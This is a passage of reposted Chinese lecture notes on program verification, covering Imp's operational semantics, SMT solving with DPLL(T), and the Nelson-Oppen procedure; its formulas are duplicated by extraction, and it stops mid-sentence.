    A[(x+2)∗y]σ=A[(x+2)]σ∗A[y]σ=(A[x]σ+A[2]σ)∗A[y]σ=(1+2)∗3=9A[(x+2)*y]\sigma =A[(x+2)]\sigma * A[y]\sigma = (A[x]\sigma +A[2]\sigma) * A[y]\sigma =(1+2)* 3 = 9A[(x+2)∗y]σ=A[(x+2)]σ∗A[y]σ=(A[x]σ+A[2]σ)∗A[y]σ=(1+2)∗3=93.6 代入用算术表达式a0a_0a​0​​替换算术表达式aaa中变元yyy的所有出现得到的算术表达式记为a[y↦a0]a[y\mapsto a_0]a[y↦a​0​​]:
    A[a[y↦a0]]σ=A[a](σ[y↦A[a0]σ])A[a[y\mapsto a_0]]\sigma = A[a](\sigma [y\mapsto A[a_0]\sigma ])A[a[y↦a​0​​]]σ=A[a](σ[y↦A[a​0​​]σ])用算术表达式a0a_0a​0​​替换布尔表达式bbb中变元yyy的所有出现得到的布尔表达式记为b[y↦a0]b[y\mapsto a_0]b[y↦a​0​​]:
    B[b[y↦a0]]σ=B[b](σ[y↦A[a0]σ])B[b[y\mapsto a_0]]\sigma = B[b](\sigma [y\mapsto A[a_0]\sigma])B[b[y↦a​0​​]]σ=B[b](σ[y↦A[a​0​​]σ])四、操作语义4.1 概念包括以下两种:

    结构操作语义(小步操作语义):描述执行语句的各步计算如何发生
    自然语义(大步操作语义):描述如何得到语句执行终止的最终状态

    4.2 结构操作语义结构操作语义强调计算的具体步骤,基于状态之间的迁移关系→\to→来定义,即
    ⟨c,σ⟩→⟨c′,σ′⟩\langle c,\sigma\rangle\to\langle c',\sigma'\rangle⟨c,σ⟩→⟨c​′​​,σ​′​​⟩意义:语句ccc从环境σ\sigmaσ执行到中途,这时环境为σ′\sigma^{\prime}σ​′​​,待执行的语句为c′c^{\prime}c​′​​。
    反复应用上面的迁移关系,直至程序终止状态⟨skip,σ⟩\langle skip, \sigma \rangle⟨skip,σ⟩。
    若无状态⟨c′,σ′⟩\langle c^{\prime}, \sigma^{\prime} \rangle⟨c​′​​,σ​′​​⟩使得⟨c,σ⟩→⟨c′,σ′⟩\langle c,\sigma \rangle \to\langle c^{\prime},\sigma^{\prime} \rangle⟨c,σ⟩→⟨c​′​​,σ​′​​⟩,则称⟨c,σ⟩\langle c,\sigma\rangle⟨c,σ⟩是呆滞的(stuck)。
    4.2.1 Imp的结构操作语义Asgn:⟨x:=a,σ⟩→⟨skip,σ[x↦A[a]σ]⟩Asgn:\frac{}{\langle x:=a,\sigma\rangle\to\langle skip,\sigma [x\mapsto A[a]\sigma]\rangle}Asgn:​⟨x:=a,σ⟩→⟨skip,σ[x↦A[a]σ]⟩​​​​Skip:no ruleSkip:no~ruleSkip:no ruleSeq1:⟨c1,σ⟩→⟨c1′,σ1′⟩⟨c1;c2,σ⟩→⟨c1′;c2,σ′⟩Seq1:\frac{\langle c_1,\sigma\rangle\to\langle c'_1,\sigma'_1\rangle}{\langle c_1;c_2,\sigma\rangle\to\langle c'_1;c_2,\sigma'\rangle}Seq1:​⟨c​1​​;c​2​​,σ⟩→⟨c​1​′​​;c​2​​,σ​′​​⟩​​⟨c​1​​,σ⟩→⟨c​1​′​​,σ​1​′​​⟩​​Seq2:⟨skip;c,σ⟩→⟨c,σ⟩Seq2:\frac{}{\langle skip;c,\sigma\rangle\to\langle c,\sigma\rangle}Seq2:​⟨skip;c,σ⟩→⟨c,σ⟩​​​​IfTrue:⟨if b then c1 else c2,σ⟩→⟨c1,σ⟩IfTrue:\frac{}{\langle if~b~then~c_1~else~c_2,\sigma\rangle\to\langle c_1,\sigma\rangle}IfTrue:​⟨if b then c​1​​ else c​2​​,σ⟩→⟨c​1​​,σ⟩​​​​IfFalse:⟨if b then c1 else c2,σ⟩→⟨c2,σ⟩IfFalse:\frac{}{\langle if~b~then~c_1~else~c_2,\sigma\rangle\to \langle c_2,\sigma\rangle}IfFalse:​⟨if b then c​1​​ else c​2​​,σ⟩→⟨c​2​​,σ⟩​​​​While:⟨while b do c,σ⟩→⟨if b then(c;while b do c)else skip,σWhile:\frac{}{\langle while~b~do~c,\sigma\rangle\to\langle if~b~then(c;while~b~do~c)else~skip,\sigma}While:​⟨while b do c,σ⟩→⟨if b then(c;while b do c)else skip,σ​​​​4.2.2 推导序列语句ccc从环境σ\sigmaσ开始的推导序列有以下两种形式(记γ0=⟨c,σ⟩\gamma_0=\langle c,\sigma\rangleγ​0​​=⟨c,σ⟩):

    有限状态序列γ0,γ1,..,γk\gamma0,\gamma_1,..,\gamma_kγ0,γ​1​​,..,γ​k​​,其中γ0→γ1,..,γ\gamma_0\to \gamma_1,..,\gammaγ​0​​→γ​1​​,..,γ{k-1}\to \gamma_k可以推导得出。γk\gamma_kγ​k​​的形式为⟨skip,σ′⟩\langle skip,\sigma^{\prime} \rangle⟨skip,σ​′​​⟩或者γk\gamma_kγ​k​​是呆滞的
    无限状态序列γ0,γ1,..\gamma_0,\gamma_1,..γ​0​​,γ​1​​,..,其中γ0→γ1\gamma_0\to \gamma_1γ​0​​→γ​1​​,γ1→γ2\gamma_1\to\gamma_2γ​1​​→γ​2​​等可以推导得到
    将γ0→γ1→..→γk\gamma_0\to \gamma_1\to .. \to\gamma_kγ​0​​→γ​1​​→..→γ​k​​简记为γ0→∗γk\gamma_0 \to ^{*}\gamma_kγ​0​​→​∗​​γ​k​​

    4.2.3 确定性结构操作语义具有确定性:对于任意语句ccc,从任意环境σ\sigmaσ出发,只要⟨c,σ⟩→⟨c′,σ′⟩\langle c,\sigma\rangle\to\langle c^{\prime},\sigma^{\prime}\rangle⟨c,σ⟩→⟨c​′​​,σ​′​​⟩且⟨c,σ⟩→⟨c′′,σ′′⟩\langle c,\sigma\rangle\to\langle c^{\prime\prime},\sigma^{\prime\prime}\rangle⟨c,σ⟩→⟨c​′′​​,σ​′′​​⟩,就有σ′=σ′′\sigma^{\prime}=\sigma^{\prime\prime}σ​′​​=σ​′′​​
    4.2.4 终止和循环
    若存在从状态⟨c,σ⟩\langle c,\sigma\rangle⟨c,σ⟩开始的有限推导序列,则称语句ccc从环境σ\sigmaσ执行是终止的
    若存在从状态⟨c,σ⟩\langle c,\sigma\rangle⟨c,σ⟩开始的无限推导序列,则称语句ccc从环境σ\sigmaσ执行是循环的
    若语句ccc从每个环境执行都是终止的,则称语句ccc总是终止的
    若语句ccc从每个环境执行都是循环的,则称语句ccc总是循环的

    4.2.5 语义等价如果对于任意状态σ\sigmaσ,满足下列条件:

    对于任意终止或呆滞格局⟨c′,σ′⟩\langle c^{\prime},\sigma^{\prime}\rangle⟨c​′​​,σ​′​​⟩,⟨c1,σ⟩→∗⟨c′,σ′⟩\langle c_1,\sigma\rangle \to^{*} \langle c^{\prime},\sigma^{\prime}\rangle⟨c​1​​,σ⟩→​∗​​⟨c​′​​,σ​′​​⟩,当且仅当⟨c2,σ⟩→∗⟨c′,σ′⟩\langle c_2,\sigma\rangle \to^{*} \langle c^{\prime},\sigma^{\prime}\rangle⟨c​2​​,σ⟩→​∗​​⟨c​′​​,σ​′​​⟩
    存在从⟨c1,σ⟩\langle c_1,\sigma\rangle⟨c​1​​,σ⟩开始的无限推导序列当且仅当存在从⟨c2,σ⟩\langle c_2,\sigma\rangle⟨c​2​​,σ⟩开始的无限推导序列,则称语句c1c_1c​1​​和c2c_2c​2​​是语义等价的,如语句c1;(c2;c3)c_1;(c_2;c_3)c​1​​;(c​2​​;c​3​​)和语句(c1;c2);c3(c_1;c_2);c_3(c​1​​;c​2​​);c​3​​是语义等价的

    4.2.6 语义函数可将语句ccc的意义概括为从EnvEnvEnv到EnvEnvEnv的部分函数:
    SSOS:Cmd→(Env↪Env)S_{SOS} : Cmd\to(Env\hookrightarrow Env)S​SOS​​:Cmd→(Env↪Env)定义

    例如,SSOS[while true do skip]σ=undefS_{SOS}[while \space true \space do \space skip]\sigma = undefS​SOS​​[while true do skip]σ=undef
    4.3 自然语义自然语义关心语句执行对环境的改变。
    从环境σ\sigmaσ执行语句ccc将终止于环境σ′\sigma^{\prime}σ​′​​:
    ⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow \sigma^{\prime}⟨c,σ⟩⇓σ​′​​规则的一般形式:

    4.3.1 Imp的自然语义
    每个规则有若干前提和一个结论。称有0个前提的规则为公理,如BigAsgn, BigSkip, BigWhileFalse是公理。
    当使用公理和规则得出⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow \sigma^{\prime}⟨c,σ⟩⇓σ​′​​时,就得到一推导树,树根是⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow \sigma^{\prime}⟨c,σ⟩⇓σ​′​​,树叶是公理,每个分支点是某规则的结论,而它的儿子是该规则的前提。
    4.3.2 终止和循环
    若存在环境σ′\sigma^{\prime}σ​′​​使得⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow\sigma^{\prime}⟨c,σ⟩⇓σ​′​​,则称语句ccc从环境σ\sigmaσ执行是终止的
    若不存在环境σ′\sigma^{\prime}σ​′​​使得⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow \sigma^{\prime}⟨c,σ⟩⇓σ​′​​,则称语句ccc从环境σ\sigmaσ执行是循环的
    若语句ccc从每个环境执行都是终止的,则称语句ccc总是终止的
    若语句ccc从每个环境执行都是循环的,则称语句ccc总是循环的

    4.3.3 语义等价如果对于任意环境σ\sigmaσ和σ′\sigma^{\prime}σ​′​​:
    ⟨c0,σ⟩⇓σ′⇔⟨c1,σ⟩⇓σ′\langle c_0,\sigma\rangle\Downarrow\sigma^{\prime} \Leftrightarrow \langle c_1,\sigma\rangle\Downarrow \sigma^{\prime}⟨c​0​​,σ⟩⇓σ​′​​⇔⟨c​1​​,σ⟩⇓σ​′​​则称语句c0c_0c​0​​和c1c_1c​1​​是语义等价的。
    4.3.4 确定性自然语义具有确定性:对于任意语句ccc,和任意环境σ1,σ2,σ\sigma_1,\sigma_2,\sigmaσ​1​​,σ​2​​,σ,只要⟨c,σ⟩⇓σ1\langle c,\sigma \rangle\Downarrow \sigma_1⟨c,σ⟩⇓σ​1​​且⟨c,σ⟩⇓σ2\langle c,\sigma\rangle\Downarrow \sigma_2⟨c,σ⟩⇓σ​2​​,就有σ1=σ2\sigma_1=\sigma_2σ​1​​=σ​2​​,即
    ∀σ,σ1,σ2,c.(⟨c,σ⟩⇓σ1∧⟨c,σ⟩⇓σ2)→(σ1=σ2)\forall \sigma,\sigma_1,\sigma_2,c.(\langle c,\sigma\rangle\Downarrow\sigma_1\wedge\langle c,\sigma\rangle\Downarrow\sigma_2)\to (\sigma_1 =\sigma_2)∀σ,σ​1​​,σ​2​​,c.(⟨c,σ⟩⇓σ​1​​∧⟨c,σ⟩⇓σ​2​​)→(σ​1​​=σ​2​​)4.3.5 语义函数可将语句ccc的意义概括为从FnvFnvFnv到EnvEnvEnv的部分函数:
    Sns:Cmd→(Env↪Env)S_{ns}: Cmd\to (Env\hookrightarrow Env)S​ns​​:Cmd→(Env↪Env)定义

    4.4 两种语义的对比
    对于语言Imp的每个语句ccc,任意环境σ\sigmaσ和σ′\sigma^{\prime}σ​′​​,若⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow \sigma^{\prime}⟨c,σ⟩⇓σ​′​​,则⟨c,σ⟩→∗⟨skip,σ′⟩\langle c,\sigma\rangle\to^{*}\langle skip,\sigma^{\prime} \rangle⟨c,σ⟩→​∗​​⟨skip,σ​′​​⟩
    对于语言Imp的每个语句ccc,任意环境σ\sigmaσ和σ′\sigma^{\prime}σ​′​​ ,若⟨c,σ⟩→k⟨skip,σ′⟩\langle c,\sigma\rangle\to^k\langle skip,\sigma^{\prime}\rangle⟨c,σ⟩→​k​​⟨skip,σ​′​​⟩,则⟨c,σ⟩⇓σ′\langle c,\sigma\rangle\Downarrow\sigma^{\prime}⟨c,σ⟩⇓σ​′​​
    对于语言Imp的每个语句ccc,Sns[c]=SSOS[c]S_{ns}[c]=S_{SOS}[c]S​ns​​[c]=S​SOS​​[c]
    0 留言 2020-07-01 11:58:25 奖励30点积分
  • 程序验证(七):可满足性模理论(Satisfiability Modulo Theories)


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106675816

    一、SMTSatisfiability Modulo Theories(SMT)是以下情况的公式的判定问题:

    一些一阶理论的复合
    具有任意的布尔结构

    二、DPLL(T): DPLL Modulo Theories这是现代SMT求解器的基础技术。
    将SMT问题分解为可以高效求解的子问题:

    使用SAT求解技术来处理布尔结构(宏观)
    使用专门的理论求解器(theory solver)来判定背景理论的可满足性(微观)

    三、布尔结构通过TTT-公式的语义,我们递归定义公式FFF的布尔结构:

    这里PiP_iP​i​​是布尔变量。
    举例:考虑以下公式
    F:g(a)=c∧(f(g(a))≠f(c)∨g(a)=d)∧c≠dF:g(a)=c\wedge (f(g(a))\ne f(c)\vee g(a)=d)\wedge c\ne dF:g(a)=c∧(f(g(a))≠f(c)∨g(a)=d)∧c≠dFFF的布尔抽象:
    B(F)=B(g(a)=c)∧(B(f(g(a))≠f(c))∨B(g(a)=d))∧B(c≠d)=P1∧(¬P2∨P3)∧¬P4B(F)=B(g(a)=c)\wedge (B(f(g(a))\ne f(c))\vee B(g(a)=d))\wedge B(c\ne d)=P_1 \wedge (\neg P_2\vee P_3)\wedge \neg P_4B(F)=B(g(a)=c)∧(B(f(g(a))≠f(c))∨B(g(a)=d))∧B(c≠d)=P​1​​∧(¬P​2​​∨P​3​​)∧¬P​4​​我们也可以定义B−1B^{-1}B​−1​​,比如B−1(P1∧P3∧P4)B^{-1}(P_1 \wedge P_3 \wedge P_4)B​−1​​(P​1​​∧P​3​​∧P​4​​)就是g(a)=c∧g(a)=d∧c=dg(a)=c\wedge g(a)=d\wedge c=dg(a)=c∧g(a)=d∧c=d
    3.1 布尔抽象为什么称为抽象?因为它实际上是一个过度简化。几个事实:

    如果FFF是satsatsat,那么B(F)B(F)B(F)总是satsatsat
    如果B(F)B(F)B(F)是satsatsat,那么FFF一定是satsatsat吗?不是
    如果FFF是unsatunsatunsat,那么B(F)B(F)B(F)一定是unsatunsatunsat吗?不是
    如果B(F)B(F)B(F)是unsatunsatunsat,那么FFF呢?是

    3.2 T与SAT求解器的结合3.2.1 基本算法
    构造FB:=B(F)F_B:=B(F)F​B​​:=B(F)
    如果FBF_BF​B​​是unsatunsatunsat,那么返回unsatunsatunsat
    否则,获得一个FBF_BF​B​​的赋值α\alphaα
    构造C=⋀i=1nPi↔α(Pi)C=\bigwedge^n_{i=1} P_i\leftrightarrow \alpha (P_i)C=⋀​i=1​n​​P​i​​↔α(P​i​​)
    将B−1(C)B^{-1}(C)B​−1​​(C)发送到TTT-求解器
    如果TTT-求解器判断为satsatsat,那么返回satsatsat
    否则,更新FB:=FB∧¬CF_B :=F_B\wedge \neg CF​B​​:=F​B​​∧¬C,重复以上步骤

    最后一步更新的解释:

    如果不更新,我们的FBF_BF​B​​会得到同样的unsatunsatunsat模型
    其中¬C\neg C¬C叫做理论冲突子句(theory conflict clause)
    更新之后,可以防止求解器未来搜索同样的路径

    3.2.2 举例判断以下公式的可满足性:
    F:g(a)=c∧(f(g(a))≠f(c)∨g(a)=d)∧c≠dF:g(a)=c\wedge (f(g(a))\ne f(c)\vee g(a)=d)\wedge c\ne dF:g(a)=c∧(f(g(a))≠f(c)∨g(a)=d)∧c≠d构造布尔抽象:
    B(F)=P1∧(¬P2∨P3)∧¬P4B(F)=P_1\wedge (\neg P_2\vee P_3)\wedge \neg P_4B(F)=P​1​​∧(¬P​2​​∨P​3​​)∧¬P​4​​找到一个satsatsat赋值(通过SAT求解器):
    α={P1↦1,P2↦0,P3↦1,P4↦0}\alpha =\{P_1\mapsto 1,P_2\mapsto 0,P_3\mapsto 1,P_4\mapsto 0\}α={P​1​​↦1,P​2​​↦0,P​3​​↦1,P​4​​↦0}构造C=P1∧¬P2∧P3∧¬P4C = P_1\wedge \neg P_2\wedge P_3\wedge \neg P_4C=P​1​​∧¬P​2​​∧P​3​​∧¬P​4​​。
    在TTT-求解器中搜索B−1(C)B^{-1}(C)B​−1​​(C):
    g(a)=c∧f(g(a))≠f(c)∧g(a)=d∧c≠dg(a)=c\wedge f(g(a))\ne f(c)\wedge g(a)=d\wedge c\ne dg(a)=c∧f(g(a))≠f(c)∧g(a)=d∧c≠dunsatunsatunsat更新FBF_BF​B​​:
    P1∧(¬P2∨P3)∧¬P4∧(¬P1∨P2∨¬P3∨P4)P_1\wedge (\neg P_2\vee P_3)\wedge \neg P_4\wedge (\neg P_1\vee P_2\vee\neg P_3 \vee P_4)P​1​​∧(¬P​2​​∨P​3​​)∧¬P​4​​∧(¬P​1​​∨P​2​​∨¬P​3​​∨P​4​​)找到一个satsatsat赋值(通过SAT求解器):
    α={P1↦1,P2↦1,P3↦1,P4↦0}\alpha =\{P_1\mapsto 1,P_2\mapsto 1,P_3\mapsto 1,P_4\mapsto 0\}α={P​1​​↦1,P​2​​↦1,P​3​​↦1,P​4​​↦0}构造C=P1∧P2∧P3∧¬P4C=P_1\wedge P_2\wedge P_3\wedge \neg P_4C=P​1​​∧P​2​​∧P​3​​∧¬P​4​​。
    在TTT-求解器中搜索B−1(C)B^{-1}(C)B​−1​​(C):
    g(a)=c∧f(g(a))=f(c)∧g(a)=d∧c≠dg(a)=c\wedge f(g(a))=f(c)\wedge g(a)=d\wedge c\ne dg(a)=c∧f(g(a))=f(c)∧g(a)=d∧c≠dunsatunsatunsat更新FBF_BF​B​​:
    P1∧(¬P2∨P3)∧¬P4∧(¬P1∨P2∨¬P3∨P4)∧(¬P1∨¬P2∨¬P3∨P4)P_1\wedge (\neg P_2\vee P_3)\wedge \neg P_4\wedge (\neg P_1\vee P_2\vee\neg P_3\vee P_4)\wedge (\neg P_1\vee\neg P_2\vee\neg P_3\vee P_4)P​1​​∧(¬P​2​​∨P​3​​)∧¬P​4​​∧(¬P​1​​∨P​2​​∨¬P​3​​∨P​4​​)∧(¬P​1​​∨¬P​2​​∨¬P​3​​∨P​4​​)找到一个赋值:
    α={P1↦1,P2↦0,P3↦0,P4↦0}\alpha = \{P_1\mapsto 1,P_2\mapsto 0,P_3\mapsto 0,P_4\mapsto 0\}α={P​1​​↦1,P​2​​↦0,P​3​​↦0,P​4​​↦0}构造C=P1∧¬P2∧¬P3∧¬P4C=P_1\wedge \neg P_2\wedge \neg P_3\wedge \neg P_4C=P​1​​∧¬P​2​​∧¬P​3​​∧¬P​4​​ 。
    在TTT-求解器中搜索B−1(C)B^{-1}(C)B​−1​​(C):
    g(a)=c∧f(g(a))≠f(c)∧g(a)≠d∧c≠dg(a)=c\wedge f(g(a))\ne f(c)\wedge g(a)\ne d\wedge c\ne dg(a)=c∧f(g(a))≠f(c)∧g(a)≠d∧c≠d更新FBF_BF​B​​:
    P1∧(¬P2∨P3)∧¬P4∧(¬P1∨P2∨¬P3∨P4)∧(¬P1∨¬P2∨¬P3∨P4)∧(¬P1∨P2∨P3∨P4)P_1\wedge (\neg P_2\vee P_3)\wedge \neg P_4\wedge (\neg P_1\vee P_2\vee\neg P_3\vee P_4)\wedge (\neg P_1\vee\neg P_2\vee \neg P_3\vee P_4)\wedge (\neg P_1\vee P_2\vee P_3\vee P_4)P​1​​∧(¬P​2​​∨P​3​​)∧¬P​4​​∧(¬P​1​​∨P​2​​∨¬P​3​​∨P​4​​)∧(¬P​1​​∨¬P​2​​∨¬P​3​​∨P​4​​)∧(¬P​1​​∨P​2​​∨P​3​​∨P​4​​)注意,这个布尔抽象已经是unsatunsatunsat了,所以我们说FFF是unsatunsatunsat了。
    3.2.3 另一个例子考虑这样的TZT_ZT​Z​​-公式FFF:
    F:0<x∧x<1wedge(x<2∨..∨x<99)F:0 < x\wedge x < 1wedge (x < 2\vee .. \vee x < 99)F:0<x∧x<1wedge(x<2∨..∨x<99)布尔抽象:
    P0∧P1∧(P2∨..∨P99)P_0\wedge P_1\wedge (P_2\vee .. \vee P_99)P​0​​∧P​1​​∧(P​2​​∨..∨P​9​​9)一共有298−12^{98}-12​98​​−1个可满足的赋值,但是没有一个满足FFF。然而,我们每次只能添加一个冲突子句!所以我们需要改进。
    四、真正的DPLL(TTT)4.1 思路
    不要把SAT求解器看做一个黑箱
    当构造出赋值的时候,渐进的查询理论求解器
    在之前的例子中,添加{0<x,x<1}\lbrace 0<x,x<1 \rbrace{0<x,x<1}后会立刻停止

    4.2 举例还是之前的例子:

    布尔抽象:B(F)=P1,¬P2,P3,¬P4B(F)={{P_1},{\neg P_2,P_3},{\neg P_4}}B(F)=P​1​​,¬P​2​​,P​3​​,¬P​4​​
    DPLL从P1P_1P​1​​,¬P4\neg P_4¬P​4​​开始
    此时,根据公理,我们有更多的逻辑传递:

    g(a)=c⇒f(g(a))=f(c)g(a)=c\Rightarrow f(g(a))=f(c)g(a)=c⇒f(g(a))=f(c)g(a)=c∧c≠d⇒g(a)≠dg(a)=c\wedge c\ne d\Rightarrow g(a)\ne dg(a)=c∧c≠d⇒g(a)≠d判定¬P2\neg P_2¬P​2​​与P3P_3P​3​​过于冗长,所以我们可以添加一些引理(theory lemmas):
    P1→P2P_1\to P_2P​1​​→P​2​​P1∧¬P4→¬P3P_1\wedge \neg P_4\to \neg P_3P​1​​∧¬P​4​​→¬P​3​​4.3 核(unsat core)我们之前是把¬C\neg C¬C添加到原式,一个不满足核(unsatisfiable core)C∗C^{*}C​∗​​是CCC的一个子集,满足:

    C∗C^{*}C​∗​​依然是不可满足的
    删除C∗C^{*}C​∗​​的任何元素,都使它可满足

    比如
    F:0<x∧x<1∧x<2∧..∧x<99F:0 < x\wedge x < 1\wedge x < 2\wedge .. \wedge x < 99F:0<x∧x<1∧x<2∧..∧x<99不满足核是0<x∧x<10<x \wedge x<10<x∧x<1,所以我们添加¬C∗\neg C^{*}¬C​∗​​而不是¬C\neg C¬C。
    0 留言 2020-06-30 16:30:18 奖励30点积分
  • 程序验证(六):纳尔逊-欧朋算法(Nelson-Oppen Procedure)


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106633999

    一、动机截至目前,我们学习了一些一阶理论,每一个都是关于某一种数据类型。然而,现实中的公式并不是由单一的理论组成,如:
    ∀i.0≤i≤n→a[i]≤a[i+1]\forall i.0\le i\le n\to a[i]\le a[i+1]∀i.0≤i≤n→a[i]≤a[i+1]这个公式实际上包含了两个理论:等价与数组。
    我们需要找到一个方法,将复杂的一阶逻辑公式转化为简单的一阶逻辑公式
    二、一些概念2.1 复合理论给定T1T_1T​1​​和T2T_2T​2​​,且Σ1∩Σ2={=}\Sigma_1\cap \Sigma_2 = \lbrace = \rbraceΣ​1​​∩Σ​2​​={=},那么复合理论T1∪T2T_1\cup T_2T​1​​∪T​2​​有:

    符号集:Σ1∪Σ2\Sigma_1 \cup \Sigma_2Σ​1​​∪Σ​2​​
    公理集:A1∪A2A_1 \cup A_2A​1​​∪A​2​​

    纳尔逊-欧朋(Nelson-Oppen)复合方法:T1∪T2T_1\cup T_2T​1​​∪T​2​​是可判定的,如果T1T_1T​1​​与T2T_2T​2​​均满足:

    是量词自由的合取的片段(Quantifier-free, conjunctive fragments)
    可判定的
    稳定无限的(stably-infinite)

    2.2 稳定无限的理论一个建立在符号集Σ\SigmaΣ上的理论TTT是稳定无限的,如果对于每个量词自由的公式FFF,只要FFF是TTT-可满足的,存在一个解释,它的大小(cardinality)是无限的。
    例如这样的一个理论:
    Σ={a,b,=}\Sigma =\{a,b,=\}Σ={a,b,=}公理:∀x.x=a∨x=b\forall x.x=a\vee x=b∀x.x=a∨x=b
    这个理论不是稳定无限的,因为每个解释(D,I)(D,I)(D,I)都有这样的性质:DDD包含至多两个元素,即∣D∣≤2|D|\le 2∣D∣≤2。
    但是大多数我们关心的理论,即TE,TA,TZT_E,T_A,T_ZT​E​​,T​A​​,T​Z​​等等,都是稳定无限的。
    三、纳尔逊-欧朋算法3.1 概况输入:由复合理论T1∪T2T_1\cup T_2T​1​​∪T​2​​得到的公式FFF
    输出:等价的公式F1∧F2F_1\wedge F_2F​1​​∧F​2​​,这里:

    其中F1F_1F​1​​是一个T1T_1T​1​​公式
    其中F2F_2F​2​​是一个T2T_2T​2​​公式

    这个算法的功能:

    将FFF净化为F1F_1F​1​​和F2F_2F​2​​
    将F1F_1F​1​​和F2F_2F​2​​中共享的变量做等价变换

    3.2 步骤1:变量抽象3.2.1 理论目标:FFF中所有的文字或者属于T1T_1T​1​​,或者属于T2T_2T​2​​,但不能是二者共有
    方法:将以下两个转化方法不断使用,直到不能再用为止:

    对于任何一项f(..,t,..)f(.. , t, ..)f(..,t,..),满足f∈Σif\in \Sigma_if∈Σ​i​​且t∉Σit\notin \Sigma_it∉Σ​i​​,将ttt用一个新的(fresh)变量www替换,并在最后合取上t=wt=wt=w
    对于任一谓词p(..,t,..)p(.. ,t, ..)p(..,t,..),满足p∈Σip\in \Sigma_ip∈Σ​i​​且t∉Σit\notin \Sigma_it∉Σ​i​​,将ttt用一个新的(fresh)变量www替换,并在最后合取上t=wt=wt=w
    结束的时候,我们就可以把FFF分为F1F_1F​1​​和F2F_2F​2​​了

    3.2.2 举例考虑TE∪TZT_E\cup T_ZT​E​​∪T​Z​​公式FFF:
    F:1≤x∧x≤2∧f(x)≠f(1)∧f(x)≠f(2)F:1\le x\wedge x\le 2\wedge f(x)\ne f(1)\wedge f(x)\ne f(2)F:1≤x∧x≤2∧f(x)≠f(1)∧f(x)≠f(2)
    在TET_ET​E​​中的非逻辑符是哪些?f,=f,=f,=
    在TZT_ZT​Z​​中的非逻辑符是哪些? 1,2,≤,=1,2,\le,=1,2,≤,=
    净化:用f(w1)f(w_1)f(w​1​​)代替f(1)f(1)f(1),用f(w2)f(w_2)f(w​2​​)代替f(2)f(2)f(2),加入w1=1w_1=1w​1​​=1,w2=2w_2=2w​2​​=2,得到

    1≤x∧x≤2∧f(x)≠f(w1)∧f(x)≠f(w2)∧w1=1∧w2=21\le x\wedge x\le 2\wedge f(x)\ne f(w_1)\wedge f(x)\ne f(w_2)\wedge w_1=1\wedge w_2=21≤x∧x≤2∧f(x)≠f(w​1​​)∧f(x)≠f(w​2​​)∧w​1​​=1∧w​2​​=2
    其中FE:f(x)≠f(w1)∧f(x)≠f(w2)F_E:f(x)\ne f(w_1)\wedge f(x)\ne f(w_2)F​E​​:f(x)≠f(w​1​​)∧f(x)≠f(w​2​​)
    其中FZ:1≤x∧x≤2∧w1=1∧w2=2F_Z:1\le x\wedge x\le 2\wedge w_1 = 1\wedge w_2 = 2F​Z​​:1≤x∧x≤2∧w​1​​=1∧w​2​​=2

    3.3 步骤2:猜测与检查(guess and check)3.3.1 理论给定F1F_1F​1​​与F2F_2F​2​​,定义共享变量集VVV:
    V=free(F1)∩free(F2)V=free(F_1)\cap free(F_2)V=free(F​1​​)∩free(F​2​​)令EEE为VVV上的一个等价关系,由EEE生成的arrangement α(V,E)\alpha (V,E)α(V,E)即为:
    α(V,E):⋀u,v∈V.uEvu=v∧⋀u,v∈V.¬(uEv)u¬v\alpha (V,E): \bigwedge _{u,v\in V.uEv} u=v \wedge\bigwedge _{u,v\in V.\neg (uEv)} u\neg vα(V,E):⋀​u,v∈V.uEv​​u=v∧⋀​u,v∈V.¬(uEv)​​u¬v公式F=F1∧F2F=F_1 \wedge F_2F=F​1​​∧F​2​​是(T1∪T2)(T_1\cup T_2)(T​1​​∪T​2​​)-可满足的当且仅当存在这样的α(V,E)\alpha (V,E)α(V,E)使得:

    其中F1∧α(V,E)F_1\wedge \alpha (V,E)F​1​​∧α(V,E)是T1T_1T​1​​-可满足的
    其中F2∧α(V,E)F_2\wedge \alpha (V,E)F​2​​∧α(V,E)是T2T_2T​2​​-可满足的

    3.3.2 举例考虑之前的净化后的两个公式,共享变量V={w1,w2,x}V= \lbrace w_1,w_2,x \rbraceV={w​1​​,w​2​​,x}。
    猜测并检查VVV上的等价关系:
    {{w1},{w2},{x}}\{\{w_1\},\{w_2\},\{x\}\}{{w​1​​},{w​2​​},{x}}{{w1,w2},{x}}\{\{w_1,w_2\},\{x\}\}{{w​1​​,w​2​​},{x}}{{w1},{w2,x}}\{\{w_1\},\{w_2,x\}\}{{w​1​​},{w​2​​,x}}{{w2},{w1,x}}\{\{w_2\},\{w_1,x\}\}{{w​2​​},{w​1​​,x}}{{w1,w2,x}}\{\{w_1,w_2,x\}\}{{w​1​​,w​2​​,x}}3.3.3 效率问题这个guess and check的时间复杂度是指数级的,所以不太实用,所以我们换个方法。
    3.4 步骤3:等价推导(equality propagation)3.4.1 凸理论(convex theory)一个理论是凸的(convex),如果它对于每个变量自由的公式FFF,都满足:

    F⇒⋁i=1nui=viF\Rightarrow \bigvee ^n_{i=1} u_i =v_iF⇒⋁​i=1​n​​u​i​​=v​i​​则
    F⇒ui=vi for some i∈{1,..,n}F\Rightarrow u_i = v_i~for~some~i\in\{1,.. , n\}F⇒u​i​​=v​i​​ for some i∈{1,..,n}其中TZ,TAT_Z, T_AT​Z​​,T​A​​不是凸的,但是TE,TQT_E,T_QT​E​​,T​Q​​是凸的。
    举例:TZT_ZT​Z​​不是凸的
    例如,考虑这样的量词自由的合取ΣZ\Sigma_ZΣ​Z​​ -公式
    F:1≤z∧z≤2∧u=1∧v=2F: 1\le z\wedge z\le 2\wedge u=1\wedge v=2F:1≤z∧z≤2∧u=1∧v=2那么
    F⇒z=u∨z=vF\Rightarrow z=u\vee z=vF⇒z=u∨z=v但是无法推出
    F⇒z=uF\Rightarrow z=uF⇒z=u或
